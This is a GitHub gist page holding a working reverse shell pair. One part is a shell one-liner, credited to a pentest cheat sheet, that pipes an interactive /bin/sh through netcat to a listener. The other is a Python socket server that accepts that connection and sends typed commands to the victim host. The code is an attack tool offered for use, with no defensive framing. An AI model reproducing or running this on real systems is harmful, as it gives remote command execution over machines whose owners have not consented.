Skip to content

Instantly share code, notes, and snippets.

@wilfreddv
Created November 28, 2018 12:18
Show Gist options
  • Save wilfreddv/6f8eed2185fad47731dc002568e13902 to your computer and use it in GitHub Desktop.
Save wilfreddv/6f8eed2185fad47731dc002568e13902 to your computer and use it in GitHub Desktop.
Python host for reverse shell (Under construction)
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8080 >/tmp/f
# From: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
import socket
import sys
HOST = '127.0.0.1'
PORT = 8080
def main():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind((HOST, PORT))
sock.listen()
conn, addr = sock.accept()
print(f"Connected: {conn}, {addr}\n")
with conn:
try:
while 1:
print(conn.recv(8).decode('utf-8'), end='') #receive prompt
com = input()
com += "\n"
conn.send(com.encode()) #send command
if "exit\n" == com:
break
print(conn.recv(1024).decode('utf-8'), end='') #receive command output
except Exception as e:
print("Error in main loop, trying to exit cleanly...\n", str(e))
conn.send("exit\n".encode())
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment